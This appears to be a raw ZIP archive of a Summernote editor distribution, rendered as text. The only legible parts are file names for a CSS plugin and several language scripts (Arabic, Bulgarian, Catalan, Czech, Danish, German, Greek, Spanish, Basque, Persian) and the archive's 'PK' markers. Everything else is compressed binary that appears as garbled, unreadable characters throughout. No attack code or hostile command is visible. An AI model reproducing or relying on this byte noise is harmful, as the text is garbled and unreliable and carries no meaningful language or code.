�D�qXP`�y�.X���ʯ��B��FI��t&K�l.�Ki��:7b�M���#��φ��d�����L?�Ѻ-��V��}C��P�ݫj�����.[49>CF��)�¡n����⦪����b��d`]�׀��DQ�p���1�9A�H��u=:�1l�ʨ�����@�0�G��0��:��?8A�-<E˗!�li��~�)�8L(�E$C�#{Y�"��2S���0,���J`�&������Cz�Y�-�p�`��i�BV���(��JU:�/���u�h�B[7�B�v�F�:��S/�p�n�1?,DVʦy��R��[�Ű߈�Se�"��W�Y�h�.�bs ��i�����W���pA��&m�,��M���r'E
Ε.��o�
����A�7��$���')Ճ��=T�@O�z0���v*�]|��{���w&٩K+��E!IP���ד6��m֒���%�C;�8gZA)�u��0?(��]7�$�#��9Ne�?&�'s�D��k��h�9�@�Z�<��b�W�pgG���n��8�;J�Y�d����ds�
��^?B"]�ȕf$�؟���麭��*"�l���uٶ2m�P�?H��ީ,;�Vu�o��ေ�5�(ljي�ʠb�n���AP�m@y�8�y%
�{�X�[��nΣx��I�
pL�FQ�����5dj���l�ř(�ݬ5�z�G�y���
q�?�2�AR����f�^��sGS��];�{��y�7��v�2�^%6���hqB+~�P�:�)}K�72�P�T_�U�A�6Xr�u(]`ƆL8~�V�إUЙ��쓶6����n#p6�[�]�#[���&�d�ݝ�)�z�<=y����}P}8�w�3��I�bҍ#7��3UT���e���������':��:��?�=��Nq��P:��T����4]���N�'�	�
�F��cT�(Z/ IX~?��ui E�P�Q�*q������A��k�2{
��2��ؼ��4��S�h6�~x�o��sm*dR����}�d.ŹWh�\�o&��t�g��!Y:�!�(��pN��(]�%
�t���5Q`�Ǟ)���C�C|O'�J��.|�C�mtU4��M\�'����-9�.$���H-��A+���3�v��y3`],lK���z#���c�h���޴-p��rO��ScP�C|���W���w�N߾��Mw>nDw=nd�x������! A���ȓC�	�6�p�y�\��|n�����y�Zh���uI4�����c�W���<�X���<��2T��wep8U7���9|���L��-#���⊚�.�f�^h�x	r��jٙ���� /���+nj�m�rw%���w2�9"�_x!�uJǺ�(����z1wUؗ 2}����ý��
t��
�>q�����54G��4��*	���jdL?�7|�j��I�Hmu�!UY���"��@��gu��	%s��c�d�X��p��
���n�+p�^�3�r֘���X|2�3`j����:�KK���%t�Q�!(�Pv��WH� ���W�"�i�1�]3�~`��=��:��S��Fr#�:3�eua:�1����;e]��ƈ��B"�2���l�����Π��7R�f,�H�7��%G��Zg[���C�7a�#Í~c�ma�6�L5��:S�}���d=~�@�q\��ؙŔ���ҡ��)�m����Έ���n�8ʷQ�r��-N����"YF���aO�j�S	-*Do��#������Ж�Н�d��Y��rOe{g
�2I�`ܦ�z6��8�R_]q����c�H�/g�,[u�U�k"�,jty��\m݄E\�Zc{��.�v�k;)�}x{��)^�e���8�ƭ�.P���1<9�RB��菱R�d�1��.ٕ�n2�B��K���q��XS����'��㏁��K���$7�팲��>��I����[�9�p.���ela�7�X���a3Ӵ��Nˎ���R�;c��*���2Gy����:�>��C���iw詸�C涍��lD0�����g�������L�6�"��>ł��12�Ɓ4�J����OF����at!��d,޾��B�Y�$XP�%<�i�]�~��\��R�-ٱ~7%&�:N�=�-ڽ�9G�=*��?��Q�6���S[�����x�е�nop�X'0�2�W6�@;�,	��; ���t8�-F��0�/m��8/�g�������&��I<C�I&�����j
f/���)�E�Sȉ��o�=�\W\=/Q�׵\�#/�_K�wK%��i���唘f�����2(��k�G�������#O!�U([�i��csNOAE���ާ�_dG�y��ZK�'�mm�m�6���@�&/��PK�.G���(PK+	ML2dist/plugin/databasic/summernote-ext-databasic.cssU���0C��+���K���
]D�Tm������~�\�E�S�O���I���
3]�h6�z�p�v��*�T܄�&��J#�sj|)��ܼ
w(jȺ��v,�M�
1RI��4�����b;g��6�����q
"]�>��1�������q��ذ�Y�fh���h^�
PKme���PK+	MLdist/lang/summernote-ar-AR.js�X�NG��S�E$�D�r�"��*��V�z3����wv7�T\@�P����c!��ȓ̾M�fמ��
��;�ϳc�$�Ǟ�?�0vwR��E��;%A T(c1��5a��p��t��8{e�)ø��XM��Ǭ�o�E��_*`k�y1��:��}��mg/	B�^(��D�������+K~�Ϙ>L��՗i7�rpm��Щ�����vc�Z_8АF"�*
�b孊��d�j����O��ip(k%����	��	�k}�H���P=x�n20�K�Ү����4:ӧ�N%��FnH/�-@�]�]�BE_A�EA�FBe���m�c6�D�����F4�G��ߝ��,���Dp���W8���
�\��Α,�y�U,�x�|�o|ӗ<^M��	l������t5�� zw��A�O�
�����Dm�UIi☬�9}�n?f@n��>��x
љ/��S�xİ_i'A-�^��9E�A� �I���;jA�C��oG���E����f��Om"����d�c��0�ȭ-�4L�O��ء��/���狈(� ��@8����^��r!�ϭZ�!�����2���q��G�ầ?Y�P�N��Ʌ	��\N+%���LD��I嵼�ǧ�c)�_y
!�l���t�9�wϱ��\��U����P������C�CN>�Q��P��_e���������/�a���E���$��0�0�W��P�q�~E���	��:�r6g7	s���LD�ˊ̍1�ۑbt�9�E����)�qoM�\55�FAY��p1|"�~�†\+�a�8��]J%*��0��H�㒁b^��ҷP�P14{�����\����n4��k�ӻc!��A�F�U��"jF�Y-&P]�I2չˋ��CԷ]`C��
&�EɈi�.��w��"`�Z"g`�P2W�o�!�bF�e�����(^/�;[@낿�E�
��s������{����Q�N���Kӱ���ɴb�n�3l�]Բ�t�!��9�G�#a\�Ñ��.��H�#656U��E1jJ�mI(��¦ ӎ����l
�W#�h�[DX(;T�
"��'gf��P����0�	ұ�	��ax�3%�q�.�'(�ѧ���צ^@���v���x�g�$�"�#e7M�t�3(��a1e�I16�S�;�F��4�|(J�a|)"��÷�ٜ��E��xS�s�g����$��&_􁭰v�LY�
��R�-rcF}+�h`�|��Ih&
�	��;���j����AXr�R���O�C~����F�x���~����H�+E���=L,laN�o�P[�ҽ@z�h��M0hڨ-U\O@зn�FSl���2v�O���}���r�h�]�
x{a�z)��6/����[*`���K���V��'�lK�S��D��on,@g��t�9zf�x)���"}[Ulz�g4.��H����Z~��
�&	��"bq[0�G1zo�����h�U�~�NIL�?]I���0�t�'�e3nn��tA����(�^��e�����R]�z�)
�e*;��( �|-�yI鬪�P�3����q���ˀ3���P[�F���cM�	��v���Rڸy���%tH"X���/X�?2j�����TY�,�d���?�m�ad�'���eYQ5�X4��(�Hx�y"�i㳒�0��o���x��=c�R���-n���x�wF{����$U�hܒ��rڇ��ug����-i�A,���%�k+M�̾��>�W_����9dLюce���zܗ�I�5"Z�/[�:���X�
=�_?��-�\aߊ��^��FQ����xPX�,?��Y�^b3��陕��s�y��7�9ز���`�Ƅ�pO�i���1���������/PK�hy�jPK+	MLdist/lang/summernote-bg-BG.js�X]oE}�W�C��R�6�C�ae�[lgҾ����4�����)q���b`�@HXPģcll���soUOWO�Gr��>�֭�q�eq'
t<uaZ|��fԽT�ݩ3IE��:U3������v����i]w�B�t�VOB�uؽ.Z���~~�?��1~^�.B���2:��1�͏�49���2a+�=`��<?([�uB%
���yQ<䅰�X���π�
��ʿ!���a®��e�k�^<f���%�	�U:0:�H�w0j�](;"�S����	����;D�䣣�a
=T���= 眉>eCƺ��	9I�^D�Ei:6���B�>�(�.(��&>����°�w^'��Vv�n����9>�I��mɨF������ɏ�w�6��2��������I�*΁���Z�˪WZoc�G�����b�"+e��D$�T2���^�8K��m�~
'��'���u(O|�&9T+�R�*h�����6���ԯ`�y�6Ȣv,r��7z5�u�:=y����%J�Ee8ݞ�x�\[���ͬAٝ�b�x��T�!��MF��F��|<`�B�Io�B�NEN����ۈ�_��'�{A��Ȫ-���уA�x6��1�2�!"Խ�Ř'��띕e+������&��5*�w�#��OP<��y8ѕ��6A?�%-}��(�AWi��݋ֿ郧��/�:��7A`T�K\�b\����'���&��"7���ֲ�����+����odtQ, K7��ԍ(�_ϦCK��m�g9��K$G�xF��D�Ϲn��'���T��B�d����I?%�y�O��kz!H��܄��/�,ݵ�@��t2N�r�ӭ�*^��WqWo���Pn /c��D����CuҦ��
���M<R�Խ sw�c���5:���ޘk���v��Bҳg�E��B��D�鹎�ס�dut�E���
X��0�]�6�c�*��S��X��j�֬?J썆� ��c����@x1� 8��%5fr)�J��Л���`���(xQ#�!�G^�a�
o+�Pw�?�0�����1fh�����	.��4@)7��@\��'!.��+�W|��I��>bvb�G\�����j$)H�
Xkb�6����P�XbtD��9��Z��$ș�\V{u��Dg��*��(q��=��Ä��O�����X�yXbޠѡ6�ꮺ(�}�X��|ߵ�#��IC�Nn�sk��%Mۘ�(����٧���hڷ�;g]5ɸeO��Aq�ޫk����W`����F�;�MX���Y��ؗV-xZ�^�v��q��A�I�g���wPL��ۘ���Z��FWh��l��,A�q�,�����/pt��Z�F���O��!x��צǶ�q"���̪q'�m��Y���g��sC%�'H�r�)C9��Y-3�����enD�&nbt}i�{�j�N�zڲ�`��z2�����X��D�t /�d�M�ɠ�
\��f��3"�|d�;A6s 2/j�uB�0��K����^h@��M$�4����o%�O�����,���tH>�����
^��ƨ�Ͻ�./�$���d�`ն�Qgr��a��q6�I�����$gޠ��:q�YŠe��풹p����S���U��B	h��o��t�D(��Eɸ�9�����~
�)�x�+�b����YA� $��R!�VDp3���MH���M	�6���^5ѵ�J���)eO$6CHh+1,o�f�R9Mk�:��ߝ�3I�PK�g�y�+�L�gB�>�DR�lm��)��2�X�>N��!@�|�n�n�aLʍ
�I�-�&2��a�Q֗��HK�_+�WPΓ��rj��{�i%��#��	�7Zw�Ak�_��/�Op^r;���GÖ��rNYh,e��S�'K��s��f){휲�|_�lZı�S\��p%�q���>C_</�yt!���Ϡm��*~�]�M�D.k�ɥ�O�C��m+�ڰOX~����2��@��f�������Ks�b~qnen~��ʪ�{�C��X�E*�pE0Z���}���oܟ����L�M��7PK��E/m�PK+	MLdist/lang/summernote-ca-ES.js�XKo9�ϯ�!@�@�@���a�m$����5��MI�٤�&��A��{��`��W�����VW��YH"�_U���>XD[��C��wB<9R�A����Q�Zy�:2�.��s!�R���x�.�X8��sg�7��TK��,��k���4���$�F��h+卶
�Wq�e0FF[%=g^E��j�6�R�<�Rz��}�c��MV2�6_�� +k�t��3M�Z��wq���tt�&Λ��5��5��R��C\+�X�1�g�}�ۻ��J��iK�r	��U^�(��2,��m�<]���^�t��̳h=JU�V��ͥR�t���k܃�(��f��ȀN��\{��(}Pd�]Aъ:dW_'ùZds���F�S�������	;��v��w�,!/]�K'�sĘ�mVr���|���Z��޻�Y�/����}=p�h��o����JM:n9^H_���{���\3@���]��ʓ<�QӨeTQD+[�
'bTț��:�v�D
��縷����ā�6ʨ2�yW�i�p���Nٕj��4B�{FW�{]�Dt�ܺ���z��D�m�S�����=Ģ�T��h(�d8b��'}�0=Oaީ����-)���Z�BF��^��o��x�+�x8����W�0���\�k�i��6�����.p�#\��oL��;���^?�8�s�T|Dx;��b������8�o>\8J�p!����蝈\��:y�=���^�2H�-u��G�"
�S�7P�Ι;����f�ﰽ�r��u�8B*��0� gX;��D�er�����쥺�Q��݁��9�MeS�,�7"�C��� �
z��LF�ӧ����;�g�;�*�ݝ��f*ʨ�+��ѡ��&�ty�Jgbm�A���)���Ww����yPt3���֟faC�,��c��0��
Q�+j�0&e�B���Q��qh��P��FqJ�]i���L:7����h]p0�wqlʭWi��z�l�58#���s������_��/���~�������& �{%F�<>��s:�۠]�*5;���P�^�֔�VʐR�?G�9�ho��8� �hhp���	/]�n�"���5l��(�޸��z^��p��d��7��`�]�����P��p@�_�70»�l��
E����z�|RO��MK&+�ؐӸ1��Jh�H�t�T�k���^^�xm�m��)��fj�����x����z�~�R�3!J*���9hcШ�FR�
,�o3�WL�
�2��H�����4*z�97�v�P��uJ��R�,j��%���=��'�P�%EU����1����u�"5L�iA�%y��z)��) ��?
r���`��W��h��UN�9�A*����]e���z�O�#e�����)*�x��"�h�[H�xۙb��
x�#Љj(�(��������}z����SX�@��u�b��۳m3��8��@����]�h"-�H�[�FTzn�Q��1�g�b0P��C���� Dq��]kz3u�&�
��L���O~�Rـ�J0��%:5�@���:4M�f٭�ֻ~�*�9��ѡ���y9k����
bV��X�0̤q�;���mR(��\>���BVx݂��@QD�io5(�P��YA�	���Y1�m��4_T���֙��g�d {~K���ļ�)Z��%�PG��ļa�_=��wU�����
�i�-��ܖN#�}�4��i^��i�9�Ҹ�*�_��ƶ�����ۓ�ΣM�S3eZ0ɉ�ݕ�*�SR�f�J\b��g=��v19�n�5��N���Շ�ɻ��+& ���|,�2���d�,�Djg���/��������!���PKnQ��QjPK+	MLdist/lang/summernote-cs-CZ.js�X�nܶ�)� �
��E��p�
lĵ����5��$�HE�%�S�
���eA]'���%���Ӻ�zt��~�0{�JE6�j��>���=�Z��GO�*υQڊ'���c��X���\��O��Z���P�5f��j�1x����2���2���{k�����X>ױ5�/b�I�
V����R�J{+Y��T澥D��W�ϛU����zg���L���j�����������tI]	�f����vGﻭ�9_G�kw���ЬWK�y�SU
�“z���c��M%��Z�j���m��y�圐Z�:����NJ+(�w��?���K�퉘S��9�lm���CM۔{���1�T�>:D�3n��r˽�	/�TS=P]��k�
vq�Ԡ,zX󽋚%U*�R6[{[�.����ї��
_��	C^�n�z�(]�E~�Y�FN�C�f�X�6l��{�K!Ed���I�(��

RT�*��CV�vr9=i�
jۈ\���`η��M�H'g��`���4گ�V\тg��OR���8�KF�6��ݩx&��8�zK�A9�({��լ
�cv��B���cUZ�0<�q��?h"3�D�4�j�9����j�݄�9�����|��J;� �ju�M�Y�q�.݅�?k���>L�B�[��$����j��]	ߋ;�S���l��ѱ��P��&$V�?��Ϝ.�:V���T��NNJD�ɲ�)
k�����nT��V�xX��?[�S}s6�v�����ۋ�A}'���C��=DM�lن@��U����`�x8�r�c!6~�keE�*�����!�u��pie+����k��v�F���땩F��
��
�,x�T���{��Q�K�.
�-6�_8�z��;�T��d��EZ����Y/�˟���E/��_��U/5ʄLK���g�R��6p��n�d���`ڥ�~��qw��O	�h���6]C%B��W������	��B!����y�]\�HǢN����Q�w]���#G�KO�F^���:K����Ͷ4S�%�#�p�[X.�WQt����Dku�F�p��(�9}�/ wنvv��
���q[�L�B�n��n��%#(89�l�T=���v�}��f����o�܅<���
ߑ.+�ǃ��ac�;RR�%�	��l�J��&B�[)�l�;��M�}Vܯ��M��B�=��1��  ��Q�1;�j�L��Qp_Z����[Tn-Jb~��0Vd~�"�K�k�4	o[Ԫހx���ZC땅�
������='�;ȆL��?Ә�y=ЋuT��-�!�HQ�������}����;�x�0��^���xܠX4a.�W��&�I�#�Q�s�_���S��(�EK�2_����')\˸{P�ǎ��A��Q�G��{Y�Эh�<�z��x����ɒ�o5��]3������8q��p��NuІ��
vcA�u�U(��:$Q����e׃NНHa�)ض71j[~��Yӹv��>5�iI��5|�0�F�!�a�1tC|Oǎ��Ua��0�<)M���օ"~J���3^��~����}�}�;z�0[�y���>{��?������J��⁺�D��|��?�t������USMGx�-�,\N+)�NKa �v�Z�LO�ÔK�x�>pCJ��N g�¨�$�emд{�$>��[�3V�wz.���K�v'��b@�
z�@\�?9>8a����d����sҼ�)x�<f�E�$Z
��]8����~�~�ݏ�0���PK)�z�PK+	MLdist/lang/summernote-da-DK.js�X�n�8��Wp�J�6@���b�:�8H�������-ZfD��r���_�7t��sIɢ��M��{��,k�p��'���_{r$�8�Ӄ'GU]�j�đ�:{��%)vr��m��-�v݊��Q�[���4y
��t\���k[�uD�u*��Z�xEߕ�".�,��D��w�J�E����
v$��TD��=ͭ\:�)ct�\��5u����(�T��ZXY���^��U^`���KX������(��3�r�o�
U��q�]�3Y�@��ƅa#y'��J]	K�����;6@�����V
��VfRs�"��Z�t��P���\s���|����Ke��K2�Zhro����=h]�wA��ˏ��Z�RLŖ�E��[6�%˹���v$-���z(��P��٪.�K�a�}�ZrW�^L���F/�LgBG�R˳3�ͱ��sf��y{il�����Ԛ���*Y��Hb%�X�Sk�S�D�^e
�ٲ'��_dQ{�4��W���o��Z��4�eb(� It�<ubO䯑��%'6�̮&͊¬�]�|�i��P��Z�����l$�D�����sr�-"� ��%��^������[����L=���)���0�8C>����);Ahm>��L =,K^�r	s�����'Xd\���I{T�J��	~�^�8t��9�U���;�Ҩŕy'tp�xm!9�
�GA,Q��:v�)�>ӗ�O�Ss���I�7���W��sJ��	�F2��^��4����y���4e��2N���N(��EA���FF5��@��B3��6���,�!pW10
��'H`$,�Ā
m5(�pZ_��	�xY!_;G
z������%�}]�M���F2�W����}se�?5FF�ⳗ����^+[=���+{I[���^Ĵ�}�˘��O{�^�i�cڛ>���JV�ݹ���"�}�T�ܙ��tdH$�^�A\������S���=�A��=�D��"��>E�m�m)^��k)(�ƳϮ����J�6ey���;`��/�ߨ�]*h��i[��&�:��a�߲!�r	"�;(,��'�>,�-:�O0:����������N��V�m��F�Q��Nm)��F�%�+�]r�+!��}��G�x̘�E�a��4���Yf�Y�����b��,���u�HF%\D�̪�E���H��ݧ�‹%�A0�\��s�ڔ.�Z<��ΫPMܢ_�v�� ��jL7p.���@\�q�P��!�;E Ϩ��K�ܿa��B�+���؞�����R���y�^rbr�����\l�T���X�)�j�$��Omz�)���&x��u�I&�0W��V�)^9����q��&(<���3(	E���h~��DVЫ���Rܿ��
1wx�u���p���렻�!��F�8z�C�0D�;'�ސ��n*��V8U ��j�I����o\��w�~h��6}Jo�IU|qsն�4b��,S��Z�o"�k�14�=��
x�RN�?���0�.j<V5f�]�F
;q���S��|��4Z�?�N��N�,��x����=��04Ƨ�����.2��}�H�x�Hޗ������#y��}�H�x�iy�<��M��c��_��8�Q���F�d 0K����8�\��
ᖘ����-�� 7����T�z�6c7q���±�H<�p3��ޫR,`���{���������'ǣ��4:Jxn����ͦA"[@$z���A��;��;�헻Ã�ϵ�|�PKD��{PK@TLdist/lang/summernote-de-DE.js�X�r7��)pp�HU���{p[�~"�%9!i�V�p��A��@���l�^�:����3�6�!�n4�_7tPx�;i�C���={!~wB/��h|]��/��� g,[�ON���'c�Ѯ�bln��=�΄s�s���IǕ̱���F�&��*�����qVȼ:�Jp�����|���+!�
nd7B*���}%u�k2?�++�m���K�*k|Yt�m^���GN4~��V�h����Rc~�t�s-�Ar�xS���"kC�����y	�J¸��ly!���n�%���	���C9�
v=�J���Rj����-��s��`.x�^��U�[���EAW�s��7	�P��KQ�[�R/���A/d9�L�{���r���MȎ�8�!A�&��T|%&�2�Ro«Z��h^
K��"챴Ȩ�)��{[\�g���K�\gz�6�"u5�����n�\X�F
�9�JAw�>H�`�t���oX%����0�`�'֬XHflLl��;��>CE4��Y�6��;�NH�}���.kt�1M�h����2#�Sk
��^5�y�S}�h&��[
o���'��Ȋ��R���֮1
�M��@uɽSP�r!LZP�B��Ɇa��ւ��G�\�x�(�q��h���,�������xξ�Z���Ѝ��s\�T߮�43��X�ÝӁA�o��;�^���s:�^��:�dbO��BRU���9��✙٬�̑^��-'N�� �2�	�m�����Z�}�za�`�B���fZxd�@|��}QP����9Uw�v!��9�8�|�����y̰�=�A�V\��'*|*8<����qlT˅�WN0�q�}�;Zl�6��^�B(1����=�kp)@�"��{!M`�6Dlkh�
��Gv�P��V�ט�.�a���^4�Ӹo�Kj���*ɖ<�6�,Εɗ��N��.�Zr���s�L�V�|�ߎ�
�^��Wci���c��T��X�v���X�6�}7���Ii%��ﵱ����|�&r�:��:�r(V���[�+�(��Ri�
L�m���Qj������}+%�����c|3)`�HW���f��T�bv4o�['��w�#�־d�¶�Ȧ��1�-����ᄚ �{Þ��Jqn���8�0{�f?�7�8Y'~��
'�Dn��>(�x�K̻`�3n���&d���l��Q��|Yb��4�K:JI�P12R���N�c��\7����l���f�^@������)R豁>��JD��" r�M�nl=x��؀�\�Շ�[��;��z�y�k��J�LC|� ()0���vF4��%Y�A4,���O�<����%�V�����������=�Y7�|���e���>�n�,2�/]���vJ֯��g�C��Esv���rS׈~r�����

������7�:�}C	="Ia*Ps�I�B{H�㓲G��]N�=t���<{���V�Q㥒�1ޫ��8��M�q""��q�&J��q�x�����(8L
6�ңPz	vH�]`̛�]��D"��)Kt�m��(A�@Q�SlN#��%���N�?E�gwso�qضh��ɓ�E���U��E9OJ���!�[�y��Y��fP�3�����0���G�˧�.�P��ꉺ���������(��'�L������x��{��4V1�ηs��c|�(�8�%Ie�O$W�|�#�)~�s�E�.y"��E������S��S��?B�U
pLe�ޱ٬D7�p��>XΦ��ON'7�����)�+�\7�bxM�pO#�]|�o�}�;���������~ÿ�PK�A{�B�PK+	MLdist/lang/summernote-el-GR.js�Y�O�~�_1�$�����`�X%��I�<�v���\LHe��8��D^,K��TU%Z۔�1��̿����3��E��3���;���$hƞ�.�;��q.M��b��.MDI���@�j�w�����q��O��[�G�Y�A<��8��o�r��${���'i�q��?/v}������M�.=,�O��
}/P$�w��e�i/������oWD6}�$���r!̞g?X���[l��F�s�,=-�܎(�g_U��C�d��o,9QzK*n�:YlS�/paϲ�j_��G����_@��A�~ɂ(�p@�����a2�{1�%���đ<���0{wdLhu�Aw��y%�^�P�ے���O��c����&�O���f/�����)�p�2�dyI����ȿJ�0V��?\M��k7�Qb�K�����?����b��A�-����="���/l_hS���~��]�v+nQ��Yͺ��x���� d�[N�����uDt/���*����E��E��29�Բ(�k'����$YO�yUC�E+�t2�n��]��z�Van�F��0;,��ı���g?[�Z��
?��̞���Fq[l��U3���]�W���l��Re����1�̞;�;���R�(��J�Ŝf�Aw�P��F���K)#�gt�i/,���ٓBfy�7��eC2�_��X�B��%�i�Iֵtߢѡ��.���mTgf�=:�g�|A_�.�ϑ��Apׅm;g�C����g���gfB�.e0Z(@��f�����m/��
K�
�s���mmM�uW��/��_����)�)%�,߱�!m�'۔�Xfқ� [g��B��k)m�>�H��Bb݀k0_��&?���ɲ$�X7�T��ƾ��\2�.;�:J�G���(vC�sٹ�ٳ�&�pt�~)�8v�9��*�cZ�1����j����yS듭��e��g�~C���%'�<?�����/5��t��Z"+��E�jۄ-��6��6fU�h�%o�m��(+̙x$CAkc�"62���P�?�{�p��M� ����rB���'�Q���;2K�EA�'�¢��us�o	@${�U�C��kV�iᶌ�CKJ�
�ѫ2َQ��[Wl���n_�Ms���Ms���Ms���Ms����P�}/��R��&�+�̠�M$�'H�i�Ј�`���Y��TZ\�<�D�1i���x�e��i+�/0FN�X0|�P}X�U��T"�E�a�d�˧�[ꡧdH��K��0ҙ��|f(.]8#t��؃�X�$��(�$��-œ	�'1��!�~����
�wN�U�q>���r7�_����xv!���C���}d��L�rd�T1��s�ҳ�|�D�� ��Nǐ]��c���fd
�z��gJO�I�,K;ڴ�+���>X�L����"�N��a��P(oQ�,	K��
�^����ǡD���Z�z2$�rK	�T<W����9���Tz�G�=�P�m�^�7��M��#�!��gV��(Ө<T!r��X7��:��	�ϸ����\Rf6���koѦ�#��/�I6ǚh��O�t�>��`є ��~@VW��E;I���e������mĊg����r�ģ)�.ѷ�dK7���Y`�}�Ƣ�:�a�Y�HФ��X
��Z}��c�� 
����W%'B�\]`�Q�4�Z7Yk`�Ow�V^;���i��_9��c�Z��.1��/����4���)��x�d��Z��xm|�HF��o�D޿�.��Z# ����֥�*H�an�jx%��io�Ʃ�}x����V���2|Y4J�9ҙ�Y5Ǥ*(k�;���N~;�f,��}R�{��)�_u�^fo�q��6����o^~�$^I����
�=W�iٯ�5LV#��)"�2���]�òr��/
�!�w���j!������a�*��\&�d�6a܄��#�|���>@?����+/1��1UA�����iz�b�Qq2�C9g쾃��=P���+�G�F���E+�"��k��>�J�_��(T(�q�J�T���E+�i'�4�4�Ⱦ�4\6�(��nV8����j��x�u�s}�8��������s�#[�w��e�ˎ�^�
��(��A�Fe�Z^	a�	�8F�>�Q�*>�&��j�O+�Ǎ��Lݛ�q��'g'����>�tEra[h�=�v��ad\�G����r1Г���V�[$�=�G����ط_%*\��PK�l�	�PK+	MLdist/lang/summernote-es-ES.js�X�r�8��S�*�UYW�=Li��]��ȚL�"!	10 ጳ��[����撪ы��i6E�<>X"���t�
6o��O�~�ɑ��Q�8xrT��T޺Fi�O�\�L��]eo�G!V�6��Kg�7"�Pk��=���'�s�������-�7�*H����[Y8f�%=d��x��F'
%VA�F1͍��
��ML�$�����feI��֍�ת�x�(,d����u�uEK\��:�[�Ò�,�(�ϴ�B�r�G��.�6[_���R��L�i��^d��iY����ӶN��)�r�j,}���\�T�F��+E�n'weeT�ӟ�N�Y���KT�`[I��􍢲�.��I��X'�3�����2K��Ǡ�/x��-4W�jƶU/\Dօx�g&�7�RsG$�;_�7vx�S|R�j0����σ�D��M(�Vj�t��\�|��n�U��v,���:������{	�";�k+,�hжNȏa{ǂ+���1��2M�hDNg��keT�{Wk�j2�7yBH�jj&Wı�7�f���]�!�]
�]n�BD(7���v3��D�"�* `�as��#�-xJ�/��]z��W���4Ό.5�~�#��5$���k�۔7�P�7e�"{����-g�^�}�4��j�[w��B��{
Έ��#[��V�T���\X��z*ޣ�}X<`24r�e�T�4o��~ ���p'&26�Ϟ�a�wOzL!�ְ�;b�!j�>�I�^��������"b���ꥋ=�׈���̵��)cԍ$ђ<Y�R��^�O�j[�O�>Yz���ƾ���np�Ht�n�����}���4�yeQ�ݧ�2an��CXc�1֔�=@�I���[����Qݩ3����΄�fž�����k1��hVlY��aޤ-��B���f]��u(�f�<�ӹA��܃�x~�
:�3��4����� �l��U�MW�yi\~�1��@0���w��V�5��tۻc_<c��L�^0�.x�/�����L�z�	���Og��S}�p;��QM����Z�*��w͌�e(���0p��R�Bx)�r~K/x�sW��o�y�C��fX�և�^f�ۯ튗̅Ӕ9W'�&��G���C:&1�	
(��%'^JGٽ����m�|i�*�6��0^��O��s��ݺ����S&����4tG
��E��S�Q�������L�r��U��1_���]f
�bk�(mh�?
x�j���{i��s�M@4Uu�����.�p~��f�$��
dǍ�Xc�4y�A��������\4*7C����A�hj�T�Q)^Ӏ�Kz��?R7�+ㅌV�������/\@�4#ۑH��$�ا��U������ �(Y��Deiz_v-�kbٳ��r��V�5S��X����3��;W��7�uۜ�����{fAF�X�@�ѵӎn�\m����.E����-p�݀���t�]3��"gDx\��L����J�0�e�!RA��c�;Xg0����t�v� e�?y�>�UI�
��f��"�~�8:�H����i�Ё���N�L�OA�h{��B�&���A����p���~D��ي.�
5�Ne�����!�+���x��/y����g�9���z��'<Yk��Q+Ά:���Zq��Y�zԊ���V�y6�N��<Ezȍ�*�%�B�ji�G�'2<O7QI�(V�o��΃�&'��6Is�vL�fv])\��tC�������d>�.f�ٕ�]]Φ��3��ׇ�~*�*�/b
����xI��P"_���_��×Ã��7PK\R��U�PK+	MLdist/lang/summernote-es-EU.js�XK��8�ϯ�!���ly2'�����ݻ�^h�,q$�Z�Lw<�߯H٢,{�� Y_U��f.6^gN}��R���Ϯ�ё�/�]�~�%����Z��y�1����ɻn)��hׯ�X�:'&s�+9y��r�V3��:�x����&��Fm�����$-�N�F�
G��TQ��9Yk���'�
�r��W�1�����ZgUE���%@��[�n3�V��'�[ߐM�U�Q;>œ�%-4ykq��>?������������#��,(P�Z:���%Z-����5��Ig�uW�N���U~��V�p|��dsu��K�����ۜ4�0V��ݜ6|�ٮ��HjQ�jx�[t~���G���}6!|>BHCZU�v�G��m	��p�q�.y�NtǸkeu=,��Q��o�Z*�n'�u����x� r+�;v�-Y��;5^C��%=`0M`�ƚF��ƊR8�TS�>X���jj��[���B�ȑ~�+���e�Oq�5	�D�z�4�x�z̈���[�_�pN������*�4�-m�w6�"|�p�D���PZ��/��(��C�I�ۘ�gB�-�JW�V"o�uT�0�OÀk�s4�d�����➍5�ܲ�.�c�ʯ��ڒ��ŝn�D%�
ʍ�A��d��_�n�ʊ+�%�����H��+(^p���%�rR?C�C`�̍j�Z��ݢ"6��Y?Z����d�ӟ���J��2�J�{�+��T��Y�\sz�v�6&+���2��a���7�sa̓��Nb/��SN�G�y=D]���}�L�ZԨ�#ؾ�%8Du�s�q6\�I�O���zjT6����F�*�ʽ��(�v;���}:nk��1�v����ɡ�I���d�<���A'�M��ͰV�/�~q%P����Ap�/A{y��
�Wgh�A{}���7ghoA{�Ҏ�S��!�{{m�?m�S_��"�D!ׄ�㎩�4F{��� r�G�p��C�e��e�5Ƴ�Ll�4�_%ܬ�g�Je�Wā� T��q�5M��CV�d�`3n��M��|4m�1�*%�ٟBJ�1+
!�b��Ga��a�95i��c燑?<&�
��—
Cͱ����{#Xb��b�Y�A��b
��@�|��Mk�UX̓���8NPe��J�A�?O�����W�)C%�Zr���<����:s*I�h�T4ڠ�2�=m��P	�A�=1��4.�`�
���V9�hiv�CC��7�M˶�C�$�܌>���)]��
=����Aɐ�ԬRGr�>��H�M�Q��2V�ɍ���4����Cg\�C�����b�ikJ��&�
���m���0���
W��a6��I��g�����
]�����PJ�}�HN�ODfX�2<E�)w|/����x���z��o��c�=抃g�/3]�9�q�ѡ�����uo U���^�����t�=6Ԣ�P~��\��7��63Gb��)
���#�3
���[�㈫�B#�����/���E�H;qȟ�.��qJ��2Ĝ�g�kt��*���I�e��-�w�{�U`��L�Gi�/�&�$�;ޗO�}y���y_��}�D��'x�<���	޷O�}���(�=L�_��JX?Z
˔���Q�6�z�3-�+���0.��ecќ����7�Wx:&
���:S�[x�P��A#lO�_g�wӹ���.�׫�b�h��r>wx��e�(2�D����4(��^����ˋ?�ῷ~�PK������PK+	MLdist/lang/summernote-fa-IR.js�X�n����+ja�%��q��$�ĶZN�fWw�"Y�"iY	���i��M˂m=ي߰�w�����*��K5Yu�Pw.΍��K|�ݘ�}#č�2Q�p��B���2�N�B ��M�/Do$�]]�=(^��(�߄�`�@���,;�Nz7����|����{�G�i~�v�h�L�G
�=�E�>��x����?g��7��
